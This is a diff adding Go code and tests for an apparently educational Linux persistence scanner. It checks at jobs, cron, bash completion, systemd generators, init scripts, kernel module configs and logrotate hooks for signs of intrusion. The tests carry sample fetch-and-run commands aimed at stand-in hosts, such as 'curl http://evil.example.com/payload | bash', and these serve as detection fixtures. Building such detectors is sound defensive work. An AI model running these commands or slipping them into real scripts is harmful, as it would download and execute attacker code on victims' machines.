PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/atjob.go

@@ -0,0 +1,69 @@
+/*
+©AngelaMos | 2026
+atjob.go
+
+Scans the at job spool for scheduled one-time persistence
+
+Checks /var/spool/at/ and /var/spool/atjobs/ for pending at jobs
+that execute commands at a scheduled time. At jobs are frequently
+overlooked during incident response.
+
+MITRE ATT&CK:
+  T1053.001 - Scheduled Task/Job: At
+*/
+
+package scanner
+
+import (
+	"github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+const (
+	atjobScannerName = "atjob"
+	mitreAt          = "T1053.001"
+)
+
+var atDirs = []string{
+	"/var/spool/at",
+	"/var/spool/atjobs",
+}
+
+func init() {
+	Register(&AtJobScanner{})
+}
+
+type AtJobScanner struct{}
+
+func (a *AtJobScanner) Name() string {
+	return atjobScannerName
+}
+
+func (a *AtJobScanner) Scan(
+	root string,
+) []types.Finding {
+	var findings []types.Finding
+
+	for _, dir := range atDirs {
+		resolved := ResolveRoot(root, dir)
+		files := ListFiles(resolved)
+		for _, path := range files {
+			findings = append(findings, types.Finding{
+				Scanner:  atjobScannerName,
+				Severity: types.SeverityLow,
+				Title:    "Pending at job found",
+				Path:     path,
+				Evidence: "Scheduled one-time execution",
+				MITRE:    mitreAt,
+			})
+
+			findings = append(
+				findings,
+				ScanFileForPatterns(
+					path, atjobScannerName, mitreAt,
+				)...,
+			)
+		}
+	}
+
+	return findings
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/atjob_test.go

@@ -0,0 +1,68 @@
+/*
+©AngelaMos | 2026
+atjob_test.go
+*/
+
+package scanner
+
+import (
+	"os"
+	"path/filepath"
+	"testing"
+
+	"github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+func TestAtJobScanner_PendingJob(t *testing.T) {
+	root := t.TempDir()
+	spoolDir := filepath.Join(root, "var", "spool", "at")
+	if err := os.MkdirAll(spoolDir, 0o750); err != nil {
+		t.Fatal(err)
+	}
+
+	jobPath := filepath.Join(spoolDir, "pending-job")
+	writeTestFile(
+		t, jobPath,
+		"#!/bin/sh\ncurl http://evil.example.com/payload | bash\n",
+	)
+
+	a := &AtJobScanner{}
+	findings := a.Scan(root)
+
+	if len(findings) == 0 {
+		t.Fatal("at job spool with files produced no findings")
+	}
+
+	hasLow := false
+	hasHigh := false
+	for _, f := range findings {
+		if f.Title == "Pending at job found" {
+			hasLow = true
+		}
+		if f.Severity >= types.SeverityHigh {
+			hasHigh = true
+		}
+	}
+
+	if !hasLow {
+		t.Error("expected 'Pending at job found' finding")
+	}
+	if !hasHigh {
+		t.Error(
+			"expected high+ finding for curl|bash in at job",
+		)
+	}
+}
+
+func TestAtJobScanner_EmptySpool(t *testing.T) {
+	a := &AtJobScanner{}
+	emptyRoot := t.TempDir()
+
+	findings := a.Scan(emptyRoot)
+	if len(findings) > 0 {
+		t.Errorf(
+			"empty spool produced %d findings, want 0",
+			len(findings),
+		)
+	}
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/completion.go

@@ -0,0 +1,66 @@
+/*
+©AngelaMos | 2026
+completion.go
+
+Scans bash completion scripts for persistence via shell sourcing
+
+Bash completion scripts in /etc/bash_completion.d/ and user
+~/.bash_completion files are sourced on every interactive shell
+startup. They execute in the user's context and are rarely
+monitored, making them attractive for credential theft and
+C2 callbacks.
+
+MITRE ATT&CK:
+  T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification
+*/
+
+package scanner
+
+import (
+	"path/filepath"
+
+	"github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+const (
+	completionScannerName = "completion"
+	mitreCompletion       = "T1546.004"
+)
+
+func init() {
+	Register(&CompletionScanner{})
+}
+
+type CompletionScanner struct{}
+
+func (c *CompletionScanner) Name() string {
+	return completionScannerName
+}
+
+func (c *CompletionScanner) Scan(
+	root string,
+) []types.Finding {
+	var findings []types.Finding
+
+	sysDir := ResolveRoot(root, "/etc/bash_completion.d")
+	for _, path := range ListFiles(sysDir) {
+		findings = append(
+			findings,
+			ScanFileForPatterns(
+				path, completionScannerName, mitreCompletion,
+			)...,
+		)
+	}
+
+	for _, home := range FindUserDirs(root) {
+		bc := filepath.Join(home, ".bash_completion")
+		findings = append(
+			findings,
+			ScanFileForPatterns(
+				bc, completionScannerName, mitreCompletion,
+			)...,
+		)
+	}
+
+	return findings
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/completion_test.go

@@ -0,0 +1,62 @@
+/*
+©AngelaMos | 2026
+completion_test.go
+*/
+
+package scanner
+
+import (
+	"path/filepath"
+	"testing"
+
+	"github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+func TestCompletionScanner_CleanScript(t *testing.T) {
+	path := filepath.Join(
+		testdataDir(), "completion", "clean-completion",
+	)
+
+	findings := ScanFileForPatterns(
+		path, completionScannerName, mitreCompletion,
+	)
+
+	if len(findings) > 0 {
+		t.Errorf(
+			"clean completion produced %d findings, want 0",
+			len(findings),
+		)
+		for _, f := range findings {
+			t.Logf("  finding: %s (%s)", f.Title, f.Evidence)
+		}
+	}
+}
+
+func TestCompletionScanner_MaliciousScript(t *testing.T) {
+	path := filepath.Join(
+		testdataDir(), "completion", "malicious-completion",
+	)
+
+	findings := ScanFileForPatterns(
+		path, completionScannerName, mitreCompletion,
+	)
+
+	if len(findings) == 0 {
+		t.Fatal(
+			"malicious completion produced no findings",
+		)
+	}
+
+	hasHigh := false
+	for _, f := range findings {
+		if f.Severity >= types.SeverityHigh {
+			hasHigh = true
+		}
+	}
+
+	if !hasHigh {
+		t.Error(
+			"expected high+ severity for curl|bash in completion",
+		)
+	}
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/cron.go

@@ -0,0 +1,173 @@
+/*
+©AngelaMos | 2026
+cron.go
+
+Scans all cron locations for persistence indicators
+
+Checks per-user crontabs, system crontab, cron.d drop-ins, periodic
+cron directories, and anacron. Parses crontab entries to extract
+commands and runs them through the suspicious pattern engine.
+
+MITRE ATT&CK:
+  T1053.003 - Scheduled Task/Job: Cron
+*/
+
+package scanner
+
+import (
+	"strings"
+
+	"github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+const (
+	cronScannerName = "cron"
+	mitreCron       = "T1053.003"
+)
+
+var cronDirs = []string{
+	"/etc/cron.d",
+	"/etc/cron.daily",
+	"/etc/cron.hourly",
+	"/etc/cron.weekly",
+	"/etc/cron.monthly",
+}
+
+var cronSpoolDirs = []string{
+	"/var/spool/cron/crontabs",
+	"/var/spool/cron",
+}
+
+func init() {
+	Register(&CronScanner{})
+}
+
+type CronScanner struct{}
+
+func (c *CronScanner) Name() string {
+	return cronScannerName
+}
+
+func (c *CronScanner) Scan(
+	root string,
+) []types.Finding {
+	var findings []types.Finding
+
+	etcCrontab := ResolveRoot(root, "/etc/crontab")
+	findings = append(
+		findings,
+		c.scanCrontab(etcCrontab)...,
+	)
+
+	anacrontab := ResolveRoot(root, "/etc/anacrontab")
+	findings = append(
+		findings,
+		c.scanCrontab(anacrontab)...,
+	)
+
+	for _, dir := range cronDirs {
+		resolved := ResolveRoot(root, dir)
+		for _, path := range ListFiles(resolved) {
+			findings = append(
+				findings,
+				c.scanCrontab(path)...,
+			)
+			findings = append(
+				findings,
+				c.checkPermissions(path)...,
+			)
+		}
+	}
+
+	for _, dir := range cronSpoolDirs {
+		resolved := ResolveRoot(root, dir)
+		for _, path := range ListFiles(resolved) {
+			findings = append(
+				findings,
+				c.scanCrontab(path)...,
+			)
+		}
+	}
+
+	return findings
+}
+
+func (c *CronScanner) scanCrontab(
+	path string,
+) []types.Finding {
+	lines := ReadLines(path)
+	if lines == nil {
+		return nil
+	}
+
+	var findings []types.Finding
+	for _, line := range lines {
+		if IsCommentOrEmpty(line) {
+			continue
+		}
+
+		cmd := extractCronCommand(line)
+		if cmd == "" {
+			continue
+		}
+
+		matched, sev, label := MatchLine(cmd)
+		if matched {
+			findings = append(findings, types.Finding{
+				Scanner:  cronScannerName,
+				Severity: sev,
+				Title:    "Suspicious cron entry: " + label,
+				Path:     path,
+				Evidence: strings.TrimSpace(line),
+				MITRE:    mitreCron,
+			})
+		}
+	}
+	return findings
+}
+
+func extractCronCommand(line string) string {
+	trimmed := strings.TrimSpace(line)
+	if trimmed == "" || strings.HasPrefix(trimmed, "#") {
+		return ""
+	}
+
+	firstField := strings.Fields(trimmed)[0]
+	if strings.Contains(firstField, "=") {
+		return ""
+	}
+
+	if strings.HasPrefix(trimmed, "@") {
+		parts := strings.Fields(trimmed)
+		if len(parts) >= 2 {
+			return strings.Join(parts[1:], " ")
+		}
+		return ""
+	}
+
+	fields := strings.Fields(trimmed)
+	if len(fields) >= 7 {
+		return strings.Join(fields[6:], " ")
+	}
+	if len(fields) >= 6 {
+		return strings.Join(fields[5:], " ")
+	}
+	return trimmed
+}
+
+func (c *CronScanner) checkPermissions(
+	path string,
+) []types.Finding {
+	if !IsWorldWritable(path) {
+		return nil
+	}
+
+	return []types.Finding{{
+		Scanner:  cronScannerName,
+		Severity: types.SeverityMedium,
+		Title:    "World-writable cron file",
+		Path:     path,
+		Evidence: "Any user can modify this cron entry",
+		MITRE:    mitreCron,
+	}}
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/cron_test.go

@@ -0,0 +1,116 @@
+/*
+©AngelaMos | 2026
+cron_test.go
+*/
+
+package scanner
+
+import (
+	"path/filepath"
+	"testing"
+
+	"github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+func TestCronScanner_CleanCrontab(t *testing.T) {
+	c := &CronScanner{}
+	path := filepath.Join(
+		testdataDir(), "cron", "clean-crontab",
+	)
+
+	findings := c.scanCrontab(path)
+	if len(findings) > 0 {
+		t.Errorf(
+			"clean crontab produced %d findings, want 0",
+			len(findings),
+		)
+		for _, f := range findings {
+			t.Logf("  finding: %s (%s)", f.Title, f.Evidence)
+		}
+	}
+}
+
+func TestCronScanner_MaliciousCrontab(t *testing.T) {
+	c := &CronScanner{}
+	path := filepath.Join(
+		testdataDir(), "cron", "malicious-crontab",
+	)
+
+	findings := c.scanCrontab(path)
+	for _, f := range findings {
+		t.Logf(
+			"finding: sev=%s title=%s evidence=%s",
+			f.Severity, f.Title, f.Evidence,
+		)
+	}
+	if len(findings) < 3 {
+		t.Fatalf(
+			"malicious crontab: got %d findings, want >= 3",
+			len(findings),
+		)
+	}
+
+	hasCritical := false
+	hasHigh := false
+	for _, f := range findings {
+		if f.Severity == types.SeverityCritical {
+			hasCritical = true
+		}
+		if f.Severity == types.SeverityHigh {
+			hasHigh = true
+		}
+	}
+
+	if !hasCritical {
+		t.Error("expected critical finding for reverse shell")
+	}
+	if !hasHigh {
+		t.Error("expected high finding for curl|bash")
+	}
+}
+
+func TestExtractCronCommand(t *testing.T) {
+	tests := []struct {
+		name string
+		line string
+		want string
+	}{
+		{
+			name: "system cron with user field",
+			line: "0 3 * * * root /usr/sbin/logrotate /etc/logrotate.conf",
+			want: "/usr/sbin/logrotate /etc/logrotate.conf",
+		},
+		{
+			name: "at-style entry",
+			line: "@reboot root /usr/bin/startup.sh",
+			want: "root /usr/bin/startup.sh",
+		},
+		{
+			name: "environment variable",
+			line: "SHELL=/bin/bash",
+			want: "",
+		},
+		{
+			name: "comment",
+			line: "# some comment",
+			want: "",
+		},
+		{
+			name: "empty",
+			line: "",
+			want: "",
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			got := extractCronCommand(tt.line)
+			if got != tt.want {
+				t.Errorf(
+					"extractCronCommand(%q) = %q, want %q",
+					tt.line, got, tt.want,
+				)
+			}
+		})
+	}
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/generator.go

@@ -0,0 +1,101 @@
+/*
+©AngelaMos | 2026
+generator.go
+
+Scans systemd generator directories for persistence executables
+
+Systemd generators run very early in boot, before logging starts,
+and produce unit files dynamically. Any executable placed in a
+generator directory runs as root with minimal audit trail. Flags
+all executables found, with elevated severity for world-writable
+files or recent modifications.
+
+MITRE ATT&CK:
+  T1543.002 - Create or Modify System Process: Systemd Service
+*/
+
+package scanner
+
+import (
+	"time"
+
+	"github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+const (
+	generatorScannerName = "generator"
+	mitreGenerator       = "T1543.002"
+)
+
+var generatorDirs = []string{
+	"/etc/systemd/system-generators",
+	"/usr/local/lib/systemd/system-generators",
+	"/lib/systemd/system-generators",
+	"/usr/lib/systemd/system-generators",
+	"/run/systemd/system-generators",
+	"/etc/systemd/user-generators",
+	"/usr/local/lib/systemd/user-generators",
+	"/usr/lib/systemd/user-generators",
+	"/run/systemd/user-generators",
+}
+
+func init() {
+	Register(&GeneratorScanner{})
+}
+
+type GeneratorScanner struct{}
+
+func (g *GeneratorScanner) Name() string {
+	return generatorScannerName
+}
+
+func (g *GeneratorScanner) Scan(
+	root string,
+) []types.Finding {
+	var findings []types.Finding
+
+	for _, dir := range generatorDirs {
+		resolved := ResolveRoot(root, dir)
+		for _, path := range ListFiles(resolved) {
+			findings = append(findings, types.Finding{
+				Scanner:  generatorScannerName,
+				Severity: types.SeverityMedium,
+				Title:    "Systemd generator executable found",
+				Path:     path,
+				Evidence: "Generators run as root early in boot before logging",
+				MITRE:    mitreGenerator,
+			})
+
+			findings = append(
+				findings,
+				ScanFileForPatterns(
+					path, generatorScannerName, mitreGenerator,
+				)...,
+			)
+
+			if IsWorldWritable(path) {
+				findings = append(findings, types.Finding{
+					Scanner:  generatorScannerName,
+					Severity: types.SeverityHigh,
+					Title:    "World-writable systemd generator",
+					Path:     path,
+					Evidence: "Any user can modify this generator",
+					MITRE:    mitreGenerator,
+				})
+			}
+
+			if ModifiedWithin(path, 24*time.Hour) {
+				findings = append(findings, types.Finding{
+					Scanner:  generatorScannerName,
+					Severity: types.SeverityHigh,
+					Title:    "Recently modified systemd generator",
+					Path:     path,
+					Evidence: "Modified within the last 24 hours",
+					MITRE:    mitreGenerator,
+				})
+			}
+		}
+	}
+
+	return findings
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/generator_test.go

@@ -0,0 +1,74 @@
+/*
+©AngelaMos | 2026
+generator_test.go
+*/
+
+package scanner
+
+import (
+	"os"
+	"path/filepath"
+	"testing"
+
+	"github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+func TestGeneratorScanner_MaliciousGenerator(t *testing.T) {
+	root := t.TempDir()
+	genDir := filepath.Join(
+		root, "etc", "systemd", "system-generators",
+	)
+	if err := os.MkdirAll(genDir, 0o750); err != nil {
+		t.Fatal(err)
+	}
+
+	src := filepath.Join(
+		testdataDir(), "generator", "malicious-generator",
+	)
+	data, err := os.ReadFile(src) //nolint:gosec
+	if err != nil {
+		t.Fatal(err)
+	}
+	writeTestFile(
+		t, filepath.Join(genDir, "backdoor-gen"), string(data),
+	)
+
+	g := &GeneratorScanner{}
+	findings := g.Scan(root)
+
+	if len(findings) == 0 {
+		t.Fatal("generator with content produced no findings")
+	}
+
+	hasExistence := false
+	hasPattern := false
+	for _, f := range findings {
+		if f.Title == "Systemd generator executable found" {
+			hasExistence = true
+		}
+		if f.Severity >= types.SeverityHigh {
+			hasPattern = true
+		}
+	}
+
+	if !hasExistence {
+		t.Error("expected existence finding for generator")
+	}
+	if !hasPattern {
+		t.Error(
+			"expected high+ finding for curl|bash in generator",
+		)
+	}
+}
+
+func TestGeneratorScanner_EmptyDir(t *testing.T) {
+	g := &GeneratorScanner{}
+	findings := g.Scan(t.TempDir())
+
+	if len(findings) > 0 {
+		t.Errorf(
+			"empty generator dirs produced %d findings, want 0",
+			len(findings),
+		)
+	}
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/helpers.go

@@ -0,0 +1,149 @@
+/*
+©AngelaMos | 2026
+helpers.go
+
+Shared filesystem utilities used by all scanner modules
+
+Provides safe file reading, directory listing, line scanning, and
+file-age checking functions. Handles permission errors gracefully
+by returning empty results rather than propagating errors, since
+scanners should skip inaccessible paths without aborting the run.
+*/
+
+package scanner
+
+import (
+	"bufio"
+	"os"
+	"path/filepath"
+	"strings"
+	"time"
+
+	"github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+func ReadLines(path string) []string {
+	f, err := os.Open(path) //nolint:gosec
+	if err != nil {
+		return nil
+	}
+	defer f.Close() //nolint:errcheck
+
+	var lines []string
+	sc := bufio.NewScanner(f)
+	for sc.Scan() {
+		lines = append(lines, sc.Text())
+	}
+	return lines
+}
+
+func ListDir(dir string) []os.DirEntry {
+	entries, err := os.ReadDir(dir)
+	if err != nil {
+		return nil
+	}
+	return entries
+}
+
+func ListFiles(dir string) []string {
+	entries := ListDir(dir)
+	var paths []string
+	for _, e := range entries {
+		if !e.IsDir() {
+			paths = append(paths, filepath.Join(dir, e.Name()))
+		}
+	}
+	return paths
+}
+
+func FileExists(path string) bool {
+	_, err := os.Stat(path)
+	return err == nil
+}
+
+func IsWorldWritable(path string) bool {
+	info, err := os.Stat(path)
+	if err != nil {
+		return false
+	}
+	return info.Mode().Perm()&0o002 != 0
+}
+
+func ModifiedWithin(path string, d time.Duration) bool {
+	info, err := os.Stat(path)
+	if err != nil {
+		return false
+	}
+	return time.Since(info.ModTime()) < d
+}
+
+func ResolveRoot(root, path string) string {
+	if root == "/" {
+		return path
+	}
+	return filepath.Join(root, path)
+}
+
+func FindUserDirs(root string) []string {
+	homeBase := ResolveRoot(root, "/home")
+	entries := ListDir(homeBase)
+	var dirs []string
+	for _, e := range entries {
+		if e.IsDir() {
+			dirs = append(
+				dirs,
+				filepath.Join(homeBase, e.Name()),
+			)
+		}
+	}
+
+	rootHome := ResolveRoot(root, "/root")
+	if FileExists(rootHome) {
+		dirs = append(dirs, rootHome)
+	}
+	return dirs
+}
+
+func IsCommentOrEmpty(line string) bool {
+	trimmed := strings.TrimSpace(line)
+	return trimmed == "" || strings.HasPrefix(trimmed, "#")
+}
+
+func ScanFileForPatterns(
+	path, scannerName, mitre string,
+) []types.Finding {
+	lines := ReadLines(path)
+	var findings []types.Finding
+
+	for _, line := range lines {
+		if IsCommentOrEmpty(line) {
+			continue
+		}
+		matched, sev, label := MatchLine(line)
+		if matched {
+			findings = append(findings, types.Finding{
+				Scanner:  scannerName,
+				Severity: sev,
+				Title:    label,
+				Path:     path,
+				Evidence: strings.TrimSpace(line),
+				MITRE:    mitre,
+			})
+		}
+	}
+	return findings
+}
+
+func containsShellCommand(line string) bool {
+	shells := []string{
+		"/bin/sh", "/bin/bash", "/bin/zsh",
+		"/usr/bin/sh", "/usr/bin/bash",
+	}
+	for _, sh := range shells {
+		if strings.Contains(line, sh) {
+			return true
+		}
+	}
+	return NetworkToolPattern.MatchString(line) ||
+		ScriptLangPattern.MatchString(line)
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/helpers_test.go

@@ -0,0 +1,20 @@
+/*
+©AngelaMos | 2026
+helpers_test.go
+*/
+
+package scanner
+
+import (
+	"os"
+	"testing"
+)
+
+func writeTestFile(t *testing.T, path, content string) {
+	t.Helper()
+	if err := os.WriteFile(
+		path, []byte(content), 0o600,
+	); err != nil {
+		t.Fatalf("writing test file %s: %v", path, err)
+	}
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/initd.go

@@ -0,0 +1,114 @@
+/*
+©AngelaMos | 2026
+initd.go
+
+Scans SysV init scripts and rc.local for persistence indicators
+
+Checks /etc/init.d/ for non-standard scripts and /etc/rc.local for
+any executable content beyond comments. Legacy persistence mechanism
+that still works on many modern Linux distributions.
+
+MITRE ATT&CK:
+  T1037.004 - Boot or Logon Initialization Scripts: RC Scripts
+*/
+
+package scanner
+
+import (
+	"strings"
+
+	"github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+const (
+	initdScannerName = "initd"
+	mitreInitd       = "T1037.004"
+)
+
+func init() {
+	Register(&InitdScanner{})
+}
+
+type InitdScanner struct{}
+
+func (i *InitdScanner) Name() string {
+	return initdScannerName
+}
+
+func (i *InitdScanner) Scan(
+	root string,
+) []types.Finding {
+	var findings []types.Finding
+
+	initDir := ResolveRoot(root, "/etc/init.d")
+	for _, path := range ListFiles(initDir) {
+		findings = append(
+			findings,
+			ScanFileForPatterns(
+				path, initdScannerName, mitreInitd,
+			)...,
+		)
+
+		if IsWorldWritable(path) {
+			findings = append(findings, types.Finding{
+				Scanner:  initdScannerName,
+				Severity: types.SeverityMedium,
+				Title:    "World-writable init.d script",
+				Path:     path,
+				Evidence: "Any user can modify this init script",
+				MITRE:    mitreInitd,
+			})
+		}
+	}
+
+	rcLocal := ResolveRoot(root, "/etc/rc.local")
+	findings = append(
+		findings,
+		i.scanRcLocal(rcLocal)...,
+	)
+
+	return findings
+}
+
+func (i *InitdScanner) scanRcLocal(
+	path string,
+) []types.Finding {
+	lines := ReadLines(path)
+	if lines == nil {
+		return nil
+	}
+
+	hasContent := false
+	for _, line := range lines {
+		trimmed := strings.TrimSpace(line)
+		if trimmed == "" ||
+			strings.HasPrefix(trimmed, "#") ||
+			trimmed == "exit 0" {
+			continue
+		}
+		hasContent = true
+		break
+	}
+
+	if !hasContent {
+		return nil
+	}
+
+	findings := []types.Finding{{
+		Scanner:  initdScannerName,
+		Severity: types.SeverityMedium,
+		Title:    "rc.local contains executable content",
+		Path:     path,
+		Evidence: "rc.local runs as root at boot",
+		MITRE:    mitreInitd,
+	}}
+
+	findings = append(
+		findings,
+		ScanFileForPatterns(
+			path, initdScannerName, mitreInitd,
+		)...,
+	)
+
+	return findings
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/initd_test.go

@@ -0,0 +1,63 @@
+/*
+©AngelaMos | 2026
+initd_test.go
+*/
+
+package scanner
+
+import (
+	"path/filepath"
+	"testing"
+
+	"github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+func TestInitdScanner_RcLocal(t *testing.T) {
+	i := &InitdScanner{}
+	path := filepath.Join(
+		testdataDir(), "initd", "rc.local",
+	)
+
+	findings := i.scanRcLocal(path)
+	if len(findings) == 0 {
+		t.Fatal("rc.local with content produced no findings")
+	}
+
+	hasContent := false
+	hasHighOrAbove := false
+	for _, f := range findings {
+		if f.Title == "rc.local contains executable content" {
+			hasContent = true
+		}
+		if f.Severity >= types.SeverityHigh {
+			hasHighOrAbove = true
+		}
+	}
+
+	if !hasContent {
+		t.Error(
+			"expected 'rc.local contains executable content' finding",
+		)
+	}
+	if !hasHighOrAbove {
+		t.Error(
+			"expected high+ finding for wget|sh in rc.local",
+		)
+	}
+}
+
+func TestInitdScanner_EmptyRcLocal(t *testing.T) {
+	dir := t.TempDir()
+	path := filepath.Join(dir, "rc.local")
+	writeTestFile(t, path, "#!/bin/sh\n# nothing here\nexit 0\n")
+
+	i := &InitdScanner{}
+	findings := i.scanRcLocal(path)
+
+	if len(findings) > 0 {
+		t.Errorf(
+			"empty rc.local produced %d findings, want 0",
+			len(findings),
+		)
+	}
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/kernel.go

@@ -0,0 +1,123 @@
+/*
+©AngelaMos | 2026
+kernel.go
+
+Scans kernel module configuration for persistence indicators
+
+Checks /etc/modules-load.d/ and /etc/modprobe.d/ for suspicious
+module load directives and install hooks that execute shell commands
+when modules are loaded.
+
+MITRE ATT&CK:
+  T1547.006 - Boot or Logon Autostart Execution: Kernel Modules and Extensions
+*/
+
+package scanner
+
+import (
+	"strings"
+
+	"github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+const (
+	kernelScannerName = "kernel"
+	mitreKernel       = "T1547.006"
+)
+
+func init() {
+	Register(&KernelScanner{})
+}
+
+type KernelScanner struct{}
+
+func (k *KernelScanner) Name() string {
+	return kernelScannerName
+}
+
+func (k *KernelScanner) Scan(
+	root string,
+) []types.Finding {
+	var findings []types.Finding
+
+	modulesD := ResolveRoot(root, "/etc/modules-load.d")
+	for _, path := range ListFiles(modulesD) {
+		findings = append(
+			findings,
+			k.scanModulesFile(path)...,
+		)
+	}
+
+	modulesFile := ResolveRoot(root, "/etc/modules")
+	findings = append(
+		findings,
+		k.scanModulesFile(modulesFile)...,
+	)
+
+	modprobeD := ResolveRoot(root, "/etc/modprobe.d")
+	for _, path := range ListFiles(modprobeD) {
+		findings = append(
+			findings,
+			k.scanModprobeConf(path)...,
+		)
+	}
+
+	return findings
+}
+
+func (k *KernelScanner) scanModulesFile(
+	path string,
+) []types.Finding {
+	lines := ReadLines(path)
+	if lines == nil {
+		return nil
+	}
+
+	var findings []types.Finding
+	for _, line := range lines {
+		trimmed := strings.TrimSpace(line)
+		if IsCommentOrEmpty(trimmed) {
+			continue
+		}
+
+		findings = append(findings, types.Finding{
+			Scanner:  kernelScannerName,
+			Severity: types.SeverityInfo,
+			Title:    "Kernel module loaded at boot",
+			Path:     path,
+			Evidence: trimmed,
+			MITRE:    mitreKernel,
+		})
+	}
+	return findings
+}
+
+func (k *KernelScanner) scanModprobeConf(
+	path string,
+) []types.Finding {
+	lines := ReadLines(path)
+	if lines == nil {
+		return nil
+	}
+
+	var findings []types.Finding
+	for _, line := range lines {
+		trimmed := strings.TrimSpace(line)
+		if IsCommentOrEmpty(trimmed) {
+			continue
+		}
+
+		if strings.HasPrefix(trimmed, "install ") &&
+			containsShellCommand(trimmed) {
+			findings = append(findings, types.Finding{
+				Scanner:  kernelScannerName,
+				Severity: types.SeverityHigh,
+				Title:    "Module install hook runs shell command",
+				Path:     path,
+				Evidence: trimmed,
+				MITRE:    mitreKernel,
+			})
+		}
+	}
+	return findings
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/kernel_test.go

@@ -0,0 +1,132 @@
+/*
+©AngelaMos | 2026
+kernel_test.go
+*/
+
+package scanner
+
+import (
+	"path/filepath"
+	"testing"
+
+	"github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+func TestKernelScanner_SuspiciousModprobe(t *testing.T) {
+	k := &KernelScanner{}
+	path := filepath.Join(
+		testdataDir(), "kernel", "suspicious.conf",
+	)
+
+	findings := k.scanModprobeConf(path)
+	if len(findings) == 0 {
+		t.Fatal(
+			"suspicious modprobe config produced no findings",
+		)
+	}
+
+	if findings[0].Severity != types.SeverityHigh {
+		t.Errorf(
+			"severity = %v, want high",
+			findings[0].Severity,
+		)
+	}
+
+	if findings[0].Title != "Module install hook runs shell command" {
+		t.Errorf(
+			"title = %q, want %q",
+			findings[0].Title,
+			"Module install hook runs shell command",
+		)
+	}
+}
+
+func TestKernelScanner_CleanModules(t *testing.T) {
+	dir := t.TempDir()
+	path := filepath.Join(dir, "clean.conf")
+	writeTestFile(
+		t, path,
+		"# Clean module config\n"+
+			"options snd_hda_intel power_save=1\n"+
+			"blacklist nouveau\n",
+	)
+
+	k := &KernelScanner{}
+	findings := k.scanModprobeConf(path)
+
+	if len(findings) > 0 {
+		t.Errorf(
+			"clean modprobe produced %d findings, want 0",
+			len(findings),
+		)
+	}
+}
+
+func TestKernelScanner_ModulesFile(t *testing.T) {
+	dir := t.TempDir()
+	path := filepath.Join(dir, "modules")
+	writeTestFile(
+		t, path,
+		"# /etc/modules\nlp\nloop\n",
+	)
+
+	k := &KernelScanner{}
+	findings := k.scanModulesFile(path)
+
+	if len(findings) != 2 {
+		t.Fatalf(
+			"modules file: got %d findings, want 2",
+			len(findings),
+		)
+	}
+
+	for _, f := range findings {
+		if f.Severity != types.SeverityInfo {
+			t.Errorf(
+				"severity = %v, want info",
+				f.Severity,
+			)
+		}
+	}
+}
+
+func TestContainsShellCommand(t *testing.T) {
+	tests := []struct {
+		name string
+		line string
+		want bool
+	}{
+		{
+			name: "bash path",
+			line: "install usb-storage /bin/bash -c 'echo test'",
+			want: true,
+		},
+		{
+			name: "network tool",
+			line: "install fake curl http://evil.com",
+			want: true,
+		},
+		{
+			name: "clean modprobe",
+			line: "install pcspkr /bin/true",
+			want: false,
+		},
+		{
+			name: "python script",
+			line: "install mod python3 -c 'import os'",
+			want: true,
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			got := containsShellCommand(tt.line)
+			if got != tt.want {
+				t.Errorf(
+					"containsShellCommand(%q) = %v, want %v",
+					tt.line, got, tt.want,
+				)
+			}
+		})
+	}
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/scanner/logrotate.go

@@ -0,0 +1,132 @@
+/*
+©AngelaMos | 2026
+logrotate.go
+
+Scans logrotate configuration for persistence via rotate hooks
+
+Parses /etc/logrotate.d/ configs for postrotate, prerotate,
+firstaction, and lastaction blocks that execute shell commands
+as root during log rotation. Attackers embed callbacks here
+because these files are rarely audited.
+
+MITRE ATT&CK:
+  T1053.003 - Scheduled Task/Job: Cron
+*/
+
+package scanner
+
+import (
+	"strings"
+
+	"github.com/CarterPerez-dev/sentinel/pkg/types"
+)
+
+const (
+	logrotateScannerName = "logrotate"
+	mitreLogrotate       = "T1053.003"
+)
+
+var rotateHooks = []string{
+	"postrotate",
+	"prerotate",
+	"firstaction",
+	"lastaction",
+}
+
+func init() {
+	Register(&LogrotateScanner{})
+}
+
+type LogrotateScanner struct{}
+
+func (l *LogrotateScanner) Name() string {
+	return logrotateScannerName
+}
+
+func (l *LogrotateScanner) Scan(
+	root string,
+) []types.Finding {
+	var findings []types.Finding
+
+	confD := ResolveRoot(root, "/etc/logrotate.d")
+	for _, path := range ListFiles(confD) {
+		findings = append(
+			findings,
+			l.scanConfig(path)...,
+		)
+	}
+
+	mainConf := ResolveRoot(root, "/etc/logrotate.conf")
+	findings = append(
+		findings,
+		l.scanConfig(mainConf)...,
+	)
+
+	return findings
+}
+
+func (l *LogrotateScanner) scanConfig(
+	path string,
+) []types.Finding {
+	lines := ReadLines(path)
+	if lines == nil {
+		return nil
+	}
+
+	var findings []types.Finding
+	inBlock := false
+	blockName := ""
+
